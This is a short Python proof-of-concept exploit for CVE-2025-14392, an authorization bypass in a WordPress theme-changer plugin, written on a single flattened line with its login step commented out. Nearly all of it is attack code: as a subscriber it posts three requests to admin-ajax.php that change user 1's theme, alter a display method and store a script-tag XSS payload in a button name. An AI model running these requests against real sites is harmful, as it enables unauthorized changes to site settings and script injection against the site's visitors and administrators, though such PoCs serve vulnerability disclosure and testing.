CVE-2025-14392

import requests import sys # CVE-2025-14392 PoC - Simple Theme Changer Plugin Authorization Bypass # This exploits missing capability checks on admin actions target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Authenticated user with subscriber role can exploit this session = requests.Session() # Login as subscriber (low-privilege user) login_data = { "log": "subscriber_username", "pwd": "subscriber_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Set cookies after login # session.post(login_url, data=login_data) # Then exploit the vulnerability: # Exploit 1: Modify user theme setting payload_theme = { "action": "user_theme_admin", "theme_name": "malicious_theme", "user_id": "1" } # Exploit 2: Modify display method payload_display = { "action": "display_method_admin", "method": "injected_script" } # Exploit 3: Change button name payload_button = { "action": "set_change_theme_button_name", "button_name": "<script>alert('XSS')</script>" } # Send exploit requests response = session.post(target_url, data=payload_theme) print(f"Theme modification response: {response.status_code}") response = session.post(target_url, data=payload_display) print(f"Display method modification response: {response.status_code}") response = session.post(target_url, data=payload_button) print(f"Button name modification response: {response.status_code}")

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